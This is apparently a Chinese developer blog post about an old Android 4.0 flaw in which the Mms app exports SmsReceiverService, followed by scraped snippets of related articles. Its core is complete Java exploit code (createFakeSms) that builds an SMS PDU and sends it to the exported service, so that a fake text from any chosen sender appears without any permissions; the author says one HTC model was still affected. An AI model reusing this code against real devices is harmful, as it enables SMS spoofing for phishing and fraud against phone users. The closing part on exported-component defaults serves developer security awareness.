导读:本文利用android4.0的一个原生漏洞来伪造短信。无须声明任何权限即可伪造发送方为任何号码的短信给用户。
android4.0发布已经是很久很久很久很久以前的事情了,这个漏洞早就报了出来,之所以现在才写这篇文章,就是觉得,该升级的基本已经都升级了,该打补丁的基本都已经打了补丁,所以现在差不多是时候了。
原生android4.0系统中,Mms.apk的manifest有这样一段
<service android:name=".transaction.SmsReceiverService" android:exported="true" />
android:exported="true",意味着SmsReceiverService这个Service暴露给了大家,也让病毒有机可乘
在stackoverflow上面,有人早就给出了伪造短信的方案,我们在这里就直接使用人家的代码好了
其中UCS-2处理是我新加上去的
private static void createFakeSms(Context context, String sender, String body) { byte[] pdu = null; byte[] scBytes = PhoneNumberUtils .networkPortionToCalledPartyBCD("0000000000"); byte[] senderBytes = PhoneNumberUtils .networkPortionToCalledPartyBCD(sender); int lsmcs = scBytes.length; // 时间处理,包括年月日时分秒以及时区和夏令时 byte[] dateBytes = new byte[7]; Calendar calendar = new GregorianCalendar(); dateBytes[0] = SmsUtil .reverseByte((byte) (calendar.get(Calendar.YEAR))); dateBytes[1] = SmsUtil .reverseByte((byte) (calendar.get(Calendar.MONTH) + 1)); dateBytes[2] = SmsUtil.reverseByte((byte) (calendar .get(Calendar.DAY_OF_MONTH))); dateBytes[3] = SmsUtil.reverseByte((byte) (calendar .get(Calendar.HOUR_OF_DAY))); dateBytes[4] = SmsUtil.reverseByte((byte) (calendar .get(Calendar.MINUTE))); dateBytes[5] = SmsUtil.reverseByte((byte) (calendar .get(Calendar.SECOND))); dateBytes[6] = SmsUtil .reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar .get(Calendar.DST_OFFSET)) / (60 * 1000 * 15))); try { ByteArrayOutputStream bo = new ByteArrayOutputStream(); bo.write(lsmcs);// 短信服务中心长度 bo.write(scBytes);// 短信服务中心号码 bo.write(0x04); bo.write((byte) sender.length());// 发送方号码长度 bo.write(senderBytes);// 发送方号码 bo.write(0x00);// 协议标示,00为普通GSM,点对点方式 try { String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet"; Class<?> cReflectedNFCExtras = Class .forName(sReflectedClassName); Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod( "stringToGsm7BitPacked", new Class[] { String.class }); stringToGsm7BitPacked.setAccessible(true); byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null, body); bo.write(0x00); // encoding: 0 for default 7bit bo.write(dateBytes); bo.write(bodybytes); } catch (Exception e) { Log.i(TAG, "sender:" + sender + "\nbody:" + body, e); // 下面是UCS-2编码的处理,中文短信就需要用此种方式 bo.write(0x08); // encoding: 8 for UCS-2 bo.write(dateBytes); bo.write(SmsUtil.encodeUCS2(body, null));// 其中encodeUCS2是从系统中复制过来的,并不是我写的 // 源码具体位置在 // frameworks/base/telephony/java/com/android/internal/telephony/gsm/SmsMessage.java } pdu = bo.toByteArray(); } catch (IOException e) { Log.e(TAG, "sender:" + sender + "\nbody:" + body, e); } // 上面的部分都是组织短信数据,下面是将数据传递给SmsReceiverService,让它来帮我们发送。虽然我们的程序没有发送短信的权限,但是人家有啊! Intent intent = new Intent(); intent.setClassName("com.android.mms", "com.android.mms.transaction.SmsReceiverService"); intent.setAction("android.provider.Telephony.SMS_RECEIVED"); intent.putExtra("pdus", new Object[] { pdu }); intent.putExtra("format", "3gpp"); context.startService(intent); } public static byte reverseByte(byte b) { return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4); }
我们看看在SmsMessage.java中的getSubmitPdu处理user data的方式
// User Data (and length) byte[] userData; try { if (encoding == ENCODING_7BIT) { userData = GsmAlphabet.stringToGsm7BitPackedWithHeader(message, header, languageTable, languageShiftTable); } else { //assume UCS-2 try { userData = encodeUCS2(message, header); } catch(UnsupportedEncodingException uex) { Log.e(LOG_TAG, "Implausible UnsupportedEncodingException ", uex); return null; } } } catch (EncodeException ex) { // Encoding to the 7-bit alphabet failed. Let's see if we can // send it as a UCS-2 encoded message try { userData = encodeUCS2(message, header); encoding = ENCODING_16BIT; } catch(UnsupportedEncodingException uex) { Log.e(LOG_TAG, "Implausible UnsupportedEncodingException ", uex); return null; } }
先看是不是7-bit编码方式,如果不是,那么就假设是UCS-2编码,如果抛出EncodeException,那么也尝试UCS-2编码
下面附上encodeUCS2代码
/** * Packs header and UCS-2 encoded message. Includes TP-UDL & TP-UDHL if * necessary * * @return * @throws UnsupportedEncodingException */ public static byte[] encodeUCS2(String message, byte[] header) throws UnsupportedEncodingException { byte[] userData, textPart; textPart = message.getBytes("utf-16be"); if (header != null) { // Need 1 byte for UDHL userData = new byte[header.length + textPart.length + 1]; userData[0] = (byte) header.length; System.arraycopy(header, 0, userData, 1, header.length); System.arraycopy(textPart, 0, userData, header.length + 1, textPart.length); } else { userData = textPart; } byte[] ret = new byte[userData.length + 1]; ret[0] = (byte) (userData.length & 0xff); System.arraycopy(userData, 0, ret, 1, userData.length); return ret; }
现在,我们就可以在原生android4.0上面干坏事了,如果你在真机上面发现上面的代码不起作用,那么很有可能人家已经修复了漏洞,所以你也别总想着干坏事。
不过……HTC G14上面的漏洞还是存在的,起码前两个月是这个样子,没关系,我已经换了手机……
另外值得一提是android:exported这个属性
我们可以在android官方文档中看到如下说明
http://developer.android.com/about/versions/jelly-bean.html#42-platform-tech
ContentProvider default configuration — Applications which target API level 17 will have “export” set to “false” by default for each ContentProvider, reducing default attack surface for applications.
这意味着什么呢?
之前,你可以不用显式设置export这个属性,别人也可以调用你的ContentProvider,但是你的应用放到了Android4.2(API17)上面,那么别人再调用你的ContentProvider的时候就会抛出异常,进而导致应用崩溃
这是时候,我们就必须在manifest文件中显式给export赋值为true
之前就遇到了这样的问题,应用放在4.1上面没有问题,放到4.2上就crash,调查了半天,才发现原因在这里
看来关键的属性还是显式声明的好,因为没准哪一天,它的默认值就变了
下面是一些相关内容
请大家不要用root的手机随意下载软件,更不要以任何借口制造任何病毒!
转贴请保留以下链接
本人blog地址
相关推荐
"Android安全漏洞挖掘技术综述" Android 安全漏洞挖掘技术是 Android 应用开发过程中不可或缺的一部分。随着 Android 设备和应用的普及, Android 安全漏洞挖掘技术变得越来越重要。在 Android 应用开发中,安全...
2. 漏洞利用:分析常见安全漏洞如缓冲区溢出、整数溢出、权限提升等,并探讨其修复策略。 3. 应用签名与证书:了解Android应用的签名机制,以及如何伪造签名进行恶意攻击。 五、隐私保护与安全实践 1. 数据加密:...
此漏洞主要存在于Android 4.0及以下版本,因此对于旧设备的安全性尤其重要。 开机自启动功能是恶意软件常采用的手段,以确保即使用户卸载应用后,它仍能在系统启动时恢复。这通常是通过注册广播接收器来实现的,当...
但需要注意安全问题,因为JavaScript可以直接访问暴露的对象,可能导致安全漏洞。 3. **Hybrid App框架**:为了更高效地管理混合开发,开发者通常会选用Hybrid框架,如Cordova、Ionic、React Native等。这些框架...
当system_server执行GC时,它会尝试调用这个伪造对象的native方法,导致安全问题。 另一个重要的漏洞是CVE-2015-3825,此漏洞利用了OpenSSLX509Certificate类的反序列化过程。与CVE-2014-7911不同,该漏洞不直接...
Android系统签名机制是确保系统安全性和应用合法性的重要手段,但是随着应用的不断增多和完善,Android系统签名也存在一些潜在的漏洞。本文将对Android系统签名的漏洞进行分析,并探讨相应的检测方法和防范措施。 ...
总之,针对Android数字签名验证机制的漏洞,开发者和安全专家需要更加深入地理解该机制的工作原理和漏洞所在,同时持续更新安全策略和技术措施,以保护Android系统应用的安全性和用户的数据隐私。对于安全研究人员和...
7. **动态分析与调试**:掌握使用Android Debug Bridge (ADB)、 Frida等工具进行动态调试和分析应用行为的方法,有助于检测潜在的安全漏洞。 8. **代码审计**:学习如何进行代码审查,识别并修复可能导致安全问题的...
- **更新Chromium内核**:保持WebView组件的最新状态,以便修复已知的安全漏洞。 - **限制Cookie使用**:谨慎处理Cookie,防止敏感信息泄露或被利用进行跨站请求伪造(CSRF)攻击。 5. **总结** Android开发者...
Android FakeID漏洞是一个严重的安全漏洞,它影响了Android系统的应用签名机制,允许恶意应用程序通过伪造证书进行代码注入并执行恶意操作。这一漏洞由国外安全机构BlueBox于2014年7月30日公布,涉及到的受影响系统...
在安卓(Android)平台上开发基于原生代码的浏览器是一项复杂且技术性强的工作。这份"基于安卓Android的浏览器源码.zip"资源提供了深入了解Android浏览器开发的机会,对于学习和研究Android系统、网络编程以及移动...
这份指南旨在为开发者提供一套最佳实践,以防止常见的安全漏洞,保护用户数据,以及遵守隐私法规。以下是基于这个主题的详细知识点: 1. **权限管理**:Android系统通过权限机制来控制应用程序对敏感资源的访问。...
该工具是beicheng大佬所写的令牌伪造工具,github地址:https://github.com/BeichenDream/SharpToken,...并且由于在内网很多机器都不出网无法安装.net framework 3.5,这里编译成了4.0版本的可在server服务器上使用。
OWASP测试指南v4.0是一份详尽的文档,旨在为安全专业人士提供一套完整的测试指南,以识别Web应用程序中的各种安全漏洞。该指南涵盖了整个Web应用程序生命周期中的测试阶段,包括信息收集、配置和部署管理、身份鉴别...
不正确的类型转换可能导致安全漏洞,例如通过将非数字类型的值转换为数字,从而触发预期之外的行为。 ##### 2.3 使用`valueOf`进行漏洞利用 在JavaScript中,对象可以通过`valueOf`方法返回其内部值。如果一个对象...
该漏洞利用了Android应用签名机制中的一个缺陷,允许恶意软件伪造数字签名,模仿合法应用,例如支付宝,甚至绕过360手机卫士等安全软件的检测。 Android应用程序的签名机制是基于数字证书的,类似于身份证,用于...
《Android MasterKey漏洞调研报告》深入探讨了2013年Bluebox Security揭示的Android系统安全问题,该问题涉及99%的Android设备。报告详细分析了APK签名机制的漏洞,以及如何通过这些漏洞绕过签名验证。APK签名是确保...
在互联网企业中,Android平台的Web系统安全性是一个至关重要...通过深入了解和应对各种安全漏洞,结合云安全策略和强大的安全管理,企业可以更好地保护其Web系统,防止潜在的安全威胁,保障用户数据和业务的稳定运行。
跨站点请求伪造攻击利用了浏览器的一些特性,尤其是同源策略的限制,对用户的安全构成威胁。通过对攻击过程的详细分析和防范措施的研究,我们可以更好地理解和应对这类安全问题。对于开发者来说,加强输入验证、使用...